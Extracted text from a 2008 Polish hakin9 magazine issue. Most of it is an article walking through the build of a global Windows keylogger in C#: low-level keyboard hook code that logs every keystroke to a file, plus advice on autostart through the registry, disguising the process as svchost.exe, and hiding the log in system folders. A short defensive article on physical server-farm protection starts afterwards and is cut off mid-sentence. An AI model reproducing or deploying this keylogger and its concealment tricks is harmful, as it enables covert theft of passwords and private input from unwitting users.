GetKeyboardState
(
byte
[]
data
);
[
DllImport
(
"user32.dll"
)]
static
extern
short
GetKeyState
(
int
nVirtKey
);
Listing 3.
Pola klasy TestDll
private
static
char
caughtChar
;
private
static
string
path
=
"C:
\\
plik.txt"
;
private
const
byte
VK_SHIFT
=
0x10
;
private
const
byte
VK_CAPITAL
=
0x14
;
private
static
bool
CapsLockDown
;
private
static
bool
ShiftDown
;
private
const
uint
WM_KEYDOWN
=
0x0100
;
hakin9 Nr 01/2008
www.hakin9.org
Atak
44
oraz rodzaj operacji, jaką chcemy wy-
konać (stworzony przez nas typ wyli-
czeniowy
asOperation
). Aby stworzyć
obiekt reprezentujący klucz rejestru,
używamy metody
OpenSubKey
. W zależ-
ności od tego, czy jest to metoda wła-
sności
CurrentUser
, czy
LocalMachine
,
wpis stworzony będzie odpowied-
nio w HKEY_CURRENT_USER lub
w HKEY_LOCAL_MACHINE. Do
sprawdzenia wartości klucza służy
metoda
GetValue
. Do zapisu klucza
używamy metody
SetValue
, a do jego
usunięcia –
DeleteValue
. Każda z tych
|metod może generować wyjątek, do-
datkowo sam proces tworzenia obiektu
klasy
RegistryKey
może spowodować
zgłoszenie wyjątku – w związku z tym
całość umieszczamy w bloku ochron-
nym try-catch. Wyjątki mogą być spo-
wodowane brakiem dostępu do rejestru
lub konkretnego klucza. Wywołanie tej
metody najlepiej umieścić w kodzie wy-
konywanym w trakcie uruchamiania
programu. Może to być konstruktor for-
my bądź zdarzenie
Load
– w przypad-
ku aplikacji Windows Forms. Możemy
wtedy sprawdzić, czy istnieje w reje-
strze odpowiedni klucz i w przypadku
jego braku – utworzyć go.
Umiemy już umieszczać naszą
aplikację w autostarcie. Jednak po
uruchomieniu będzie nadal widoczna
w oknie menadżera zadań. W syste-
mach Windows począwszy od 2000
nie ma, na szczęście, łatwego sposo-
bu, aby usunąć nazwę procesu z me-
nadżera zadań. Ale możemy udawać
proces systemowy. Wystarczy na-
zwać nasz program np. svchost.exe.
Ta prosta sztuczka zadziała w więk-
szości przypadków. Można jeszcze
uruchomić program w trybie usługi.
Windows hooks
Jak wspomnieliśmy na początku, dzia-
łanie systemu Windows opiera się na
przekazywaniu komunikatów (ang.
Windows messages). Haki pozwala-
ją nam na zainstalowanie specjalnych
funkcji monitorujących, których zada-
niem jest przetwarzanie komunikatów
Windows, nim dotrą do konkretnej apli-
kacji. Do dyspozycji mamy kilka typów
haków i dla każdego takiego typu sys-
tem tworzy tzw. łańcuch funkcji moni-
torujących. W momencie zajścia zda-
rzenia związanego z określonym ty-
pem haków komunikat Windows kiero-
wany jest najpierw do funkcji monitoru-
jących znajdujących się w określonym
łańcuchu. Typ haka determinuje czyn-
ności, które funkcja monitorująca mo-
że przeprowadzić na przechwyconym
komunikacie. Niektóre typy pozwala-
ją tylko na odczyt danych z komuni-
katu. Istnieją również takie, dzięki któ-
rym komunikat może być zmodyfiko-
wany a także może nie dotrzeć do wy-
branej aplikacji. Funkcje monitorujące
mogą mieć zasięg lokalny bądź glo-
balny (zwany również systemowym).
Zasięg lokalny daje funkcji monitorują-
cej możliwość przechwycenia komuni-
katów zdarzeń, które zaszły tylko we-
wnątrz wątku, w którym funkcja zosta-
ła zainstalowana. Wątek można koja-
rzyć z konkretnym programem. Zasięg
globalny pozwala na odbieranie komu-
nikatów zdarzeń, które zaszły w każ-
dym wątku działającym w systemie.
Jednakże, jeżeli funkcja monitorująca
ma mieć zasięg globalny, jej kod musi
być umieszczony w bibliotece łączonej
dynamicznie (DLL).
Program podsłuchujący klawia-
turę będzie się składał z dwóch pro-
jektów. Pierwszy będzie zawierać bi-
bliotekę DLL, ponieważ chcemy prze-
chwytywać komunikaty wygenero-
wane dla każdej aplikacji działającej
w systemie. Drugi projekt będzie od-
powiedzialny za zainstalowanie funk-
cji monitorującej. Funkcja monitorują-
ca będzie składową pisanej przez nas
klasy, więc powinniśmy używać raczej
określenia metoda. My jednak pozo-
staniemy przy terminie funkcja monito-
rująca, aby podkreślić jej pochodzenie
z biblioteki systemowej. Używając je-
dynie platformy .NET nie mamy moż-
liwości wykorzystania obiektów, któ-
re pozwalałyby nam na korzystanie
z haków. Jest to naturalna konsekwen-
cja związana z przenaszalnością ko-
du. Będziemy musieli więc wykorzy-
stać niektóre funkcje
WinAPI
z bibliotek
DLL systemu Windows. Do importu
funkcji z bibliotek DLL służy polecenie
DllImport
. Aby wygodnie go używać,
do projektu w sekcji
using
należy do-
dać przestrzeń nazw
System.Runtime.
InteropServices
. Polecenie
DllImport
ma następującą składnię:
[DllImport(nazwa_pliku_DLL)]
Modyfikator _ dostępu static extern
typ _ zwracany NazwaFunkcji(
parametry};
Parametry są opcjonalne, ponieważ
istnieje wiele funkcji, które nie przyj-
mują żadnych parametrów. Warto
dodać, iż importując funkcje WinAPI
możemy napotkać problem z wybo-
Listing 4.
Metoda zapisująca przechwycone klawisze do pliku
tekstowego
private
static
void
SaveChar
(
char
theChar
,
string
where
)
{
if
(
File
.
Exists
(
where
))
{
using
(
StreamWriter
sw
=
File
.
AppendText
(
where
))
{
sw
.
Write
(
theChar
);
// nowa linia
if
(
theChar
==
'
\r
'
)
sw
.
Write
(
'
\n
'
);
}
}
else
{
using
(
StreamWriter
sw
=
File
.
CreateText
(
where
))
{
sw
.
Write
(
theChar
);
if
(
theChar
==
'
\r
'
)
sw
.
Write
(
'
\n
'
);
}
}
}
C#.NET – podsłuchiwanie klawiatury
hakin9 Nr 01/2008
www.hakin9.org
45
rem odpowiedniego typu dla wskaź-
ników i uchwytów. Dla platformy .NET
są one reprezentowane przez struk-
turę
IntPtr
.
Tworzymy bibliotekę
łączoną dynamicznie
W części tej stworzymy bibliotekę DLL,
która będzie zawierać funkcję monito-
rującą. Właśnie tę bibliotekę będzie-
my wstrzykiwać w strumień komunika-
tów systemu Windows. Do przygoto-
wania programu użyjemy darmowego
środowiska Visual C# 2005 Express
Edition. Można je pobrać ze stron fir-
my Microsoft. Odpowiedni link znajdu-
je się w ramce W Sieci. Uruchamiamy
Visual C# 2005 i wybieramy File –>
New Project –> Class Library i nada-
jemy naszemu projektowi nazwę Test-
Dll. Jak zawsze, środowisko Visual C#
2005 Expres Edition generuje pewien
szablon kodu. Dodamy teraz do utwo-
rzonego szkieletu klasy odpowiednie
metody i pola. Zaczniemy od zaimpor-
towania czterech funkcji WinAPI, które
pochodzić będą z biblioteki user32.dll
(Listing 2).
Pierwsza funkcja to
CallNext-
HookEx
. Ma ona za zadanie przekazać
komunikat otrzymany przez funkcję
monitorującą do kolejnej funkcji moni-
torującej. Jej pierwszym parametrem
jest uchwyt do aktualnie zainstalowa-
nej funkcji monitorującej. Pozostałe
parametry zostaną omówione, gdy
zdefiniujemy funkcję monitorującą.
Wartość zwracana przez funkcję jest
różna w zależności od typu haka. Ko-
lejne z importowanych funkcji umoż-
liwiają odczytanie znaku wciśniętego
klawisza klawiatury z odebranego ko-
munikatu. Funkcja
ToAscii
służy do
zamiany kodu wirtualnego klawisza
na odpowiedni znak w kodzie ASCII.
Jej parametry to:
•
uVirtKey
– wirtualny kod klawisza,
•
uScanCode
– tzw. hardware scan
code. Najbardziej znaczący bit
tego parametru jest ustawiony,
jeżeli klawisz nie jest wciśnięty,
•
lpKeyState
– 256-elementowa ta-
blica, która zawiera aktualny stan
klawiatury. Każdy element tablicy
przechowuje status jednego kla-
wisza,
•
lpChar
– parametr, w którym zo-
stanie zapisany znak w kodzie
ASCII,
•
flags
– flagi dotyczące menu.
Jeżeli funkcja zadziała poprawnie,
wówczas zwracana jest wartość nie-
zerowa. Do określania aktualnego
stanu klawiatury służy kolejna funk-
cja o nazwie
GetKeyboardState
. Para-
metrem funkcji jest 256-elementowa
tablica zmiennych typu
byte
, w któ-
rej zostanie zapisany aktualny stan
klawiatury. Jeżeli funkcja zadziała
poprawnie, również zwraca wartość
różną od 0. W celu określenia stanu
pojedynczego klawisza skorzystamy
z funkcji
GetKeyState
. Parametrem
funkcji jest wirtualny kod klawisza,
którego stan chcemy określić. Kla-
wisz może być wciśnięty, zwolniony
lub przełączony. Terminem klawisz
jest przełączony będziemy oznaczać
stan, w którym wciśnięcie wybrane-
go klawisza powoduje uaktywnienie
pewnego trybu (np. wciśnięcie kla-
wisza Caps Lock powoduje włącze-
nie trybu pisania dużymi literami).
Wartość zwracana przez funkcję
GetKeyState
informuje nas o stanie
wybranego klawisza. Jeżeli najbar-
dziej znaczący bit zwracanej warto-
ści jest ustawiony, to klawisz jest wci-
śnięty. W przeciwnym wypadku jest
zwolniony. Jeżeli najmniej znaczący
bit jest ustawiony, wówczas wybrany
klawisz jest przełączony. W przeciw-
nym wypadku nie jest przełączony.
Możemy teraz przejść do dodania
pól do naszej klasy (Listing 3).
W pierwszym z nich zapiszemy
nasz przechwycony znak (
caught-
Char
). Pole
path
typu
string
będzie
określało ścieżkę do pliku, w którym
będziemy zapisywać przechwycone
znaki. Jest on plikiem tekstowym, aby
można było w prosty sposób spraw-
dzić działanie programu. Jednakże
w celu lepszego ukrycia tego pli-
ku moglibyśmy np. zapisywać znaki
w pliku binarnym i umieścić go w fol-
derze $Windows\System (jeżeli posia-
damy do niego prawa zapisu), gdzie
przeciętny użytkownik rzadko zaglą-
da – jest zresztą wiele innych miejsc
na dysku, gdzie nasz plik może spo-
kojnie egzystować, nie nękany przez
użytkownika. Oczywiście nazwa pliku
też powinna być wtedy inna.
Kolejne cztery pola związane są
z klawiszami Shift i Caps Lock. Stałe
VK _ SHIFT
i
VK _ CAPITAL
oznaczają od-
powiednio kody klawiszy wirtualnych
Shift i Caps Lock. Pole ShiftDown bę-
dzie przyjmować wartość true, jeże-
li klawisz Shift jest wciśnięty. W prze-
ciwnym wypadku pole to przyjmie
wartość false. Pole CapsLockDown
będzie przyjmować wartość true, je-
żeli klawisz CapsLock został przełą-
Listing 5.
Metoda odczytująca znak z przechwyconego komunikatu
private static char
GetChar
(
int vkCode
)
{
byte
[]
data
=
new
byte
[
256
];
GetKeyboardState
(
data
);
char
myChar
=
' '
;
uint
scan
=
0
;
ToAscii
((
uint
)
vkCode
,
scan
,
data
,
ref
myChar
,
0
);
return
myChar
;
}
Listing 6.
Definicja struktury KBDLLHOOKSTRUCT
[
StructLayout
(
LayoutKind
.
Sequential
)]
public
struct
KBDLLHOOKSTRUCT
{
public
int
vkCode
;
public
int
scanCode
;
public
int
flags
;
public
int
time
;
public
int
dwExtraInfo
;
}
hakin9 Nr 01/2008
www.hakin9.org
Atak
46
czony, powodując uaktywnienie trybu
pisania dużymi literami. Natomiast po
wyłączeniu tego trybu polu zostanie
przypisana wartość false. Ostatnim
polem będzie kod komunikatu syste-
mu Windows, który jest generowany
w momencie wciśnięcia niesystemo-
wego klawisza klawiatury.
Możemy teraz przejść do napisa-
nia dwóch prywatnych metod, które
wykorzystywać będzie funkcja moni-
torująca. Pierwsza z nich będzie słu-
żyć do zapisu określonego znaku
w wybranym miejscu. Na początku
musimy dodać przestrzeń nazw Sys-
tem.IO. Kod metody jest pokazany
na Listingu 4.Na początku następuje
sprawdzenie, czy wybrany plik już ist-
nieje. Jeżeli tak, dopisujemy do niego
kolejne dane. Jeżeli nie istnieje, two-
rzymy go i zapisujemy w nim dane.
Warto zwrócić uwagę, że dzięki użyciu
słowa kluczowego
using
nie musimy
się martwić o zamknięcie pliku.
Druga metoda pozwoli nam na od-
czytanie z przechwyconego komu-
nikatu znaku odpowiadającego wci-
śniętemu klawiszowi. Jako parametr
przyjmuje ona kod wirtualnego klawi-
sza. Funkcja zwraca odczytany znak.
Jej definicja jest pokazana na Listin-
gu 5. Działanie tej metody sprowadza
się do użycia dwóch wcześniej zaim-
portowanych funkcji WinAPI z odpo-
wiednimi parametrami. Możemy teraz
przejść do meritum sprawy, czyli napi-
sania definicji funkcji monitorującej (Li-
sting 6). Funkcja będzie przyjmować
następujące parametry:
• code
– określa kod, na podstawie
którego funkcja monitorująca prze-
twarza otrzymany komunikat. Je-
żeli parametr ten jest mniejszy od
zera, to wymagane jest, aby funk-
cja monitorująca wywołała funkcję
CallNextHookEx
i zwróciła wartość
zwracaną przez tę funkcję,
• wParam
– określa identyfikator ko-
munikatu klawiatury,
• lParam
– reprezentuje wskaźnik do
struktury KBDLLHOOKSTRUCT.
Aby móc korzystać z tej struktury,
musimy ją przedtem zdefiniować.
W tym celu przed definicją klasy
dodajemy kod z Listingu 6.
Z naszego punktu widzenia najważ-
niejsze pole tej struktury to
vkCode
.
Posłuży nam ono jako parametr
przekazywany do funkcji
ToAscii
.
Parametry
code
,
wParam
oraz
lParam
są odpowiednio drugim, trzecim
i czwartym parametrem funkcji
CallNextHookEx
.
Na początku metody sprawdza-
my, czy nastąpiło zdarzenie wciśnię-
cia klawisza niesystemowego oraz
czy parametr
code
ma wartość więk-
szą bądź równą zero. Używamy sta-
tycznej metody
PtrToStructure
klasy
Marshal
w celu zamiany parametru
lParam
na strukturę KBDLLHOOK-
STRUCT. Metoda ta jako pierwszy
parametr przyjmuje wskaźnik do nie-
zarządzanego bloku pamięci (wskaź-
niki na platformie .NET są reprezen-
towane przez strukturę
IntPtr
). Dru-
gi parametr to typ obiektu, który ma
utworzyć. Wartością zwracaną jest
nowo utworzony obiekt klasy
Object
.
Zawiera on dane wskazywane przez
wskaźnik przekazany jako pierwszy
parametr. Zwracaną wartość rzutuje-
my jeszcze na strukturę KBDLLHO-
OKSTRUCT. Pierwsza instrukcja wa-
runkowa
if
ustala wielkość znaków
Listing 7.
Funkcja monitorująca
public static
IntPtr MonitorFunction
(
int
code
,
IntPtr wParam
,
IntPtr lParam
)
{
try
{
if
(
wParam
.
ToInt64
()
==
WM_KEYDOWN
&&
code
>=
0
)
{
KBDLLHOOKSTRUCT
hookStruct
=
(
KBDLLHOOKSTRUCT
)
Marshal
.
PtrToStructure
(
l
Param
,
typeof
(
KBDLLHOOKSTRUCT
));
// Shift wciśnięty ??
ShiftDown
=
((
GetKeyState
(
VK_SHIFT
)
&
0x80
)
==
0x80
?
true
:
false
);
// Tryb pisania dużymi literami włączony ??
CapsLockDown
=
(
GetKeyState
(
VK_CAPITAL
)
!=
0
?
true
:
false
);
caughtChar
=
GetChar
(
hookStruct
.
vkCode
);
if
((
CapsLockDown
^
ShiftDown
)
&&
Char
.
IsLetter
(
caughtChar
))
caughtChar
=
Char
.
ToUpper
(
caughtChar
);
if
((
caughtChar
==
0x0d
&&
hookStruct
.
vkCode
==
0x0d
)
||
(
caughtChar
>
0x20
&&
caughtChar
<=
0x7e
)
||
(
caughtChar
==
0x20
&&
hookStruct
.
vkCode
==
0x20
))
SaveChar
(
caughtChar
,
path
);
}
}
catch
{}
return
CallNextHookEx
(
IntPtr
.
Zero
,
code
,
wParam
,
lParam
);
}
Listing 8.
Importowanie funkcji WinAPI
[
DllImport
(
"user32.dll"
)]
private
static
extern
IntPtr
SetWindowsHookEx
(
int
code
,
HookProc
func
,
IntPtr
hInstance
,
int
threadID
);
[
DllImport
(
"user32.dll"
)]
private
static
extern
bool
UnhookWindowsHookEx
(
IntPtr
hhk
);
[
DllImport
(
"Kernel32.dll"
)]
private
static
extern
IntPtr
GetModuleHandle
(
string
moduleName
);
Listing 9.
Definicja pól klasy HookClass
private
delegate
IntPtr
HookProc
(
int
code
,
IntPtr
wParam
,
IntPtr
lParam
);
private
static
HookProc
hookProc
;
private
IntPtr
result
;
private
const
int
WH_KEYBOARD_LL
=
0x0d
;
C#.NET – podsłuchiwanie klawiatury
hakin9 Nr 01/2008
www.hakin9.org
47
będących literami. Druga konstruk-
cja
if
dba, aby tylko wybrane znaki
były zapisywane do pliku.
Biblioteka DLL została już stwo-
rzona. Kolejnym krokiem będzie
stworzenie projektu, który użyje tej
biblioteki w celu monitorowania kla-
wiatury.
Instalujemy funkcję
monitorującą
Zaczynamy od stworzenia nowego
projektu Windows Forms Applica-
tion. Nadajemy mu nazwę TestHo-
oks. Do projektu dodajemy nową kla-
sę przez wybranie opcji Project –>
Add Class. W polu Name wpisujemy
HookClass. W klasie tej umieścimy
kod umożliwiający uruchomienie mo-
nitorowania klawiatury. Forma Form1
w tym projekcje będzie symulowa-
ła pewną aplikację, w której istnieje
możliwość użycia opcji monitorowa-
nia klawiatury. Możemy teraz przejść
do napisania definicji klasy HookC-
lass. Zaczniemy od importu potrzeb-
nych funkcji WinAPI (Listing 8).
Haki są instalowanie przez wy-
wołanie funkcji
SetWindowsHookEx
.
Parametry tej funkcji to:
•
idHook
– określa typ haka, jaki
chcemy zainstalować,
•
func
– delegacja dla zarejestro-
wanej funkcji monitorującej,
•
hInstance
– uchwyt do bibliote-
ki DLL, która zawiera definicję
funkcji monitorującej,
•
threadID
– określa identyfikator
wątku, z którym ma być związa-
na funkcja monitorująca.
Jeżeli funkcja ta zadziała popraw-
nie, zwróci uchwyt do funkcji mo-
nitorującej. W przeciwnym wypad-
ku zwróci wartość
null
. Gdy już nie
chcemy przechwytywać wybranych
komunikatów, możemy odinstalo-
wać funkcję monitorującą. Służy do
tego funkcja
UnhookWindowsHookEx
.
Jej parametr to uchwyt do funkcji
monitorującej, który otrzymujemy
jako wartość zwracaną przez funk-
cję
SetWindowsHookEx
. Jeżeli funkcja
zadziała poprawnie, zwracana war-
tość jest niezerowa. W przeciwnym
wypadku zwracaną wartością jest
zero. Funkcja
GetModuleHandle
uzy-
skuje uchwyt do wybranego modu-
łu, którego nazwę przekazujemy ja-
ko parametr (
plik
.dll lub .exe). Je-
żeli funkcja zadziała prawidłowo,
wówczas zwracaną wartością jest
uchwyt do żądanego modułu.
W kolejnym kroku zdefiniujemy
delegację dla funkcji monitorują-
cej. Jej sygnatura i typ muszą za-
tem być zgodne z sygnaturą i ty-
pem zwracanym funkcji monitorują-
cej. Po zdefiniowaniu delegacji two-
rzymy jej referencję. Warto podkre-
ślić, że obiekt delegacji musi być za-
deklarowany jako static. Potrzeb-
ne nam będzie także pole, w któ-
rym zapiszemy uchwyt do funkcji
monitorującej zwracany przez funk-
cję
SetWindowsHookEx
. Nazwiemy je
result
. Ostatnim polem będzie stała
oznaczająca typ haka, jaki chcemy
zainstalować. Nasza funkcja ma za
zadanie przechwytywać komunika-
ty klawiatury, więc parametr ten bę-
dzie miał wartość 0x0d i nazwiemy
go
WH _ KEYBOARD _ LL
. Kroki te przed-
stawia Listing 9.
Teraz zajmiemy się napisaniem
prywatnej metody
GetHookProc
, dzię-
ki której stworzymy obiekt delega-
cji
HookProc
z zarejestrowaną funk-
cją monitorującą. W projekcie przyj-
mujemy, że biblioteka DLL nosi na-
zwę TestDll, znajduje się w tym sa-
mym katalogu, co plik wykonywalny
oraz że nazwa funkcji monitorującej
to MonitorFunction. Kod metody jest
przedstawiony na Listingu 10.
Listing 10.
Metoda GetHookProc
private
bool
GetHookProc
()
{
try
{
string
sc
=
Environment
.
CurrentDirectory
+
"
\\
"
+
"TestDll.dll"
;
Assembly
a
=
Assembly
.
LoadFrom
(
sc
);
Type
[]
tab
=
a
.
GetExportedTypes
();
MethodInfo
methodInfo
=
null
;
foreach
(
Type
t
in
tab
)
{
methodInfo
=
t
.
GetMethod
(
"MonitorFunction"
);
}
hookProc
=
(
HookProc
)
Delegate
.
CreateDelegate
(
typeof
(
HookProc
)
,
methodInfo
);
return
true
;
}
catch
{
return
false
;
}
}
W Sieci
• http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący
haki w systemie Windows,
• http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisu-
jący haki w systemie Windows,
• http://msdn2.microsoft.com/en-us/express/aa975050.aspx – witryna Microsoft,
skąd można pobrać środowisko Visual C# 2005 Express Edition,
• http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platfor-
my .NET i nie tylko. Naprawdę godny polecenia,
• http://www.codeguru.pl – polska strona dla programistów .NET,
• http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszyst-
kich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi
programami.
hakin9 Nr 01/2008
www.hakin9.org
Atak
48
W metodzie tej mamy zaprezen-
towany jeden ze sposobów impor-
towania metod z bibliotek łączenia
dynamicznego, stworzonych z wy-
korzystaniem Visual C#. Aby móc
to zrobić, musimy dodać do projek-
tu przestrzeń nazw System.Reflec-
tion. Na początku tworzymy zmien-
ną typu
string
, która zawiera ścież-
kę do pliku DLL, z którego chcemy
importować metodę. Następnie two-
rzymy obiekt klasy
Assembly
, repre-
zentujący tzw. pakiet kodu (ang. as-
sembly). Pakietem kodu może być
zarówno biblioteka łączona dyna-
micznie, jak i plik wykonywalny.
Obiekt klasy
Assembly
jest tworzo-
ny przez wywołanie statycznej me-
tody tej klasy –
LoadFrom
. Jej para-
metrem jest ścieżka do pakietu ko-
du, który chcemy załadować. Me-
toda zwraca nam nowo utworzo-
ny obiekt klasy
Assembly
. Kolej-
nym krokiem jest wywołanie meto-
dy
GetExportedTypes
klasy
Assembly
.
Metoda ta zwraca publiczne typy
znajdujące się w określonym pa-
kiecie kodu, które użytkownik może
wykorzystać w swojej zewnętrznej
aplikacji. Uzyskujemy w ten sposób
tablicę obiektów klasy
Type
. Następ-
nie deklarujemy pustą referencję do
obiektu klasy
MethodInfo
. Teraz mu-
simy przeszukać nasze typy w ce-
lu odnalezienia typu będącego kla-
są zawierającą definicję funkcji mo-
nitorującej. Najlepiej do tego celu
nadaje się pętla
foreach
. Wewnątrz
pętli używamy metody
GetMethod
do
sprawdzenia, czy dany typ zawiera
definicję funkcji monitorującej. Je-
żeli znajdziemy taki typ, wówczas
GetMethod
zwraca nam obiekt typu
MethodInfo
, w przeciwnym wypadku
będzie to wartość
null
.
Pora teraz na stworzenie obiek-
tu delegacji. Wykorzystamy do tego
statyczną metodę klasy
Delegate
o nazwie
CreateDelegate
, która
przyjmuje dwa parametry. Pierw-
szym z nich jest typ delegacji, ja-
ki ma zostać stworzony. Drugi to
obiekt typu
MethodInfo
. Aby uzy-
skać typ naszej delegacji, używa-
my operatora
typeof
. Ponieważ
metoda
CreateDelegate
zwraca
obiekt typu
Delegate
, musimy rzu-
tować zwracany typ na typ naszej
delegacji. Metoda zwraca wartość
różną od zera, gdy uda się utwo-
rzyć delegację z zarejestrowaną
funkcją monitorującą, w innym wy-
padku zwraca zero.
Możemy teraz przejść do napisa-
nia publicznej metody
InstallHook
,
która posłuży nam do zainstalowa-
nia funkcji monitorującej. Definicję
tej metody przedstawia Listing 11.
Warto zwrócić uwagę, że iden-
tyfikator wątku równa się 0. Dzieje
się tak, ponieważ chcemy powiązać
Listing 11.
Metoda instalująca oraz usuwająca funkcję monitorującą
public bool
InstallHook
()
{
try
{
if
(
GetHookProc
())
{
result
=
SetWindowsHookEx
(
WH_KEYBOARD_LL
,
hookProc
,
GetModuleHan
dle
(
"TestDll.dll"
)
,
0
);
return
true
;
}
else
return
false
;
}
catch
{
return
false
;
}
}
public
void
CloseHook
()
{
UnhookWindowsHookEx
(
result
);
}
Listing 12.
Definicja klasy Form1
using
System
;
using
System
.
Collections
.
Generic
;
using
System
.
ComponentModel
;
using
System
.
Data
;
using
System
.
Drawing
;
using
System
.
Text
;
using
System
.
Windows
.
Forms
;
namespace
TestHooks
{
public
partial
class
Form1
:
Form
{
private
HookClass
hookClass
;
private
bool
hookInstallDone
=
true
;
public
Form1
()
{
InitializeComponent
();
hookClass
=
new
HookClass
();
if
(!
hookClass
.
InstallHook
())
hookInstallDone
=
false
;
}
private
void
OnClosing
(
object
sender
,
EventArgs
e
)
{
if
(
hookInstallDone
)
hookClass
.
CloseHook
();
}
}
}
naszą funkcję monitorującą z wszystkimi istniejącymi
wątkami. Odinstalowanie funkcji monitorującej odbywa
się przez wywołanie publicznej metody
CloseHook
, któ-
rej definicję przedstawia również Listing 11.
Możemy teraz przejść do stworzenia obiektu naszej
klasy. Przechodzimy do widoku formy Form1 i naciska-
my F7. Przypominamy, że forma reprezentuje w naszym
projekcie pewną aplikację, w której chcemy mieć możli-
wość użycia funkcji monitorującej. Jej kod przedstawia
Listing 12.
W konstruktorze Form1 tworzymy nowy obiekt kla-
sy
HookClass
i wywołujemy funkcję monitorującą. Mo-
nitorowanie powinno zostać zatrzymane w momencie,
gdy aplikacja skończy działanie. W związku z tym dla
zdarzenia
FormClosing
dodajemy metodę zdarzeniową,
która wyłączy nasz hak. Pole
hookInstallDone
zabez-
piecza przed próbą odinstalowania funkcji monitorują-
cej, gdy nie została ona wcześniej zainstalowana.
Podsumowanie
Artykuł ten opisuje użycie haków systemu Windows
w celu podsłuchiwania klawiatury. Jednak mechanizm
haków nie został stworzony po to, żeby umożliwić pi-
sanie narzędzi hakerskich. Haki nadają się świetnie
wszędzie tam, gdzie zachodzi potrzeba nadzorowania
jednej aplikacji przez inną (np. tryb debuggera, apli-
kacje szkoleniowe). Jeśli nie podoba nam się działa-
nie jakieś aplikacji w związku z konkretnym zdarze-
niem, możemy napisać własną metodę zdarzeniową
i podpiąć się z nią za pomocą mechanizmu haków do
aplikacji. Można też napisać własny hak, który będzie
w stanie wyłączyć inne haki. Jak widać, możliwości
jest wiele – ale ta swoboda stanowi jednocześnie du-
że zagrożenie, co – mamy nadzieję – pokazał ten ar-
tykuł. l
O autorach
Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest
doktorantem na Wydziale Fizyki, Astronomii i Informatyki Sto-
sowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Zajmuje
się symulacjami komputerowymi układów biologicznych (dy-
namika molekularna) oraz bioinformatyką. Programowanie
jest nieodzowną częścią jego pracy naukowej i dydaktycznej.
Ma doświadczenie w programowaniu w językach C, C++, Del-
phi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje
od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl.
Maciej Pakulski – absolwent studiów inżynierskich na kierun-
ku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informa-
tyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu.
Obecnie na studiach magisterskich. Programowaniem zajmu-
je się od 2004 roku. Potrafi programować biegle w językach
C/C++, Java, VHDL. Programowaniem w języku C#, a także
platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl.
www.hakin9.org
hakin9 Nr 01/2008
50
Obrona
S
erwery to komputery świadczące usłu-
gi sieciowe (w firmie i poza nią) klien-
tom bądź użytkownikom oraz wykonu-
jące specjalne zadania, do których zostały za-
projektowane. Dobrym przykładem mogą być
tutaj komputery PC, spełniające rolę interneto-
wego serwera WWW, serwera pocztowego lub
dostępowego, firewalla czy obsługujące firmo-
wy intranet. Od nich zależy sprawne działanie
każdej sieci, dlatego przy ich budowaniu stawia
się przede wszystkim na niezawodność i bez-
pieczeństwo zgromadzonych na nich danych.
Przede wszystkim zdecydowana większość
serwerów musi pracować 24 godziny na dobę
przez 7 dni w tygodniu i wszystkie podzespo-
ły muszą być niezawodne. Narażone na uszko-
dzenia są zwłaszcza komponenty zawierające
liczne elementy mechaniczne, przede wszyst-
kim twarde dyski, ale również wentylatory czy
zasilacze.
Firmy wykorzystujące systemy e-bizneso-
we muszą zapewnić stały wgląd do swoich za-
sobów – nie tylko pracownikom, ale również ko-
operantom i potencjalnym klientom. W takim
przypadku nie ma mowy o jakimkolwiek prze-
stoju. Każda chwila, w której niedostępna jest
na przykład firmowa witryna WWW, może skut-
kować utratą klienta, a co za tym idzie – zmniej-
szeniem obrotów. Dlatego przy zakupie serwera
nie należy się kierować tylko wydajnością urzą-
dzenia, ale również szeregiem aspektów doty-
czących ochrony i bezpieczeństwa danych oraz
zapleczem technicznym gwarantowanym przez
dostawcę lub producenta. Takie urządzenia nie
należą do tanich. Wreszcie, gdyby doszło jed-
nak do awarii, konstrukcja serwera musi zapew-
niać jak najszybszą możliwość wymiany uszko-
dzonego podzespołu. Równie istotne jest, aby
serwer pozwalał w łatwy sposób wykonywać ko-
pie zapasowe danych na wszelkie przewidziane
i nieprzewidziane wypadki.
Fizyczna ochrona
farm serwerów
Rafał Podsiadły
stopień trudności
Pisze się wiele o zagrożeniach i lukach systemowych, a nikt nie
pamięta o urządzeniach, które pełnią ważną rolę w ochronie
serwera, ani o zagrożeniach związanych z mechaniką.
Z artykułu dowiesz się
• jak zabezpieczyć swój serwer,
• jakich narzędzi użyć,
• jakie są standardy obowiązujące w tak zwa-
nych farmach serwerów.
Co powinieneś wiedzieć
• znać podstawy systemów operacyjnych,
• znać podstawy sieci i technik komputerowych.
Serwery – co im zagraża, jak się zabezpieczyć
hakin9 Nr 01/2008
www.hakin9.org
51
W przypadku małego serwera
zbudowanego na komputerze sta-
cjonarnym (zdecydowanie nie pole-
cam tego typu rozwiązania, jednak
takie istnieją), uszkodzenie sprzę-
tu sprowadza się do pójścia do skle-
pu i wymiany wadliwego elementu
na nowy. Zakres czasowy napra-
wy to kilka godzin. W sytuacji, gdy
poważnie podchodzimy do bezpie-
czeństwa danych, szukamy bardziej
wyrafinowanych rozwiązań. Urzą-
dzenie, które chcielibyśmy postawić
w naszej firmie, ma spełniać wyma-
gania określone w dalszej części te-
go artykułu. Powinno być bezpiecz-
ne i niezawodne. Obecnie na rynku
jest duży wybór takich rozwiązań,
jedynie zasób gotówki, jaki chce-
my przeznaczyć na ten cel, decy-
duje o jego funkcjonalności. Gotowe
serwery są profesjonalnie przygoto-
wane do pracy, wykonane z tward-
szych materiałów, a odpowiednio
dobrane układy scalone zapewnia-
ją niezawodną pracę przez dłuższy
okres czasu. Mimo to, kupując taki
serwer, musimy liczyć się z ewentu-
alnym zagrożeniem, jakim jest awa-
ria. Gdyby jednak nastąpiła, dobrze
by było przewidzieć taką sytuację
i ograniczyć czas przestoju serwera
do niezbędnego minimum. Jednym
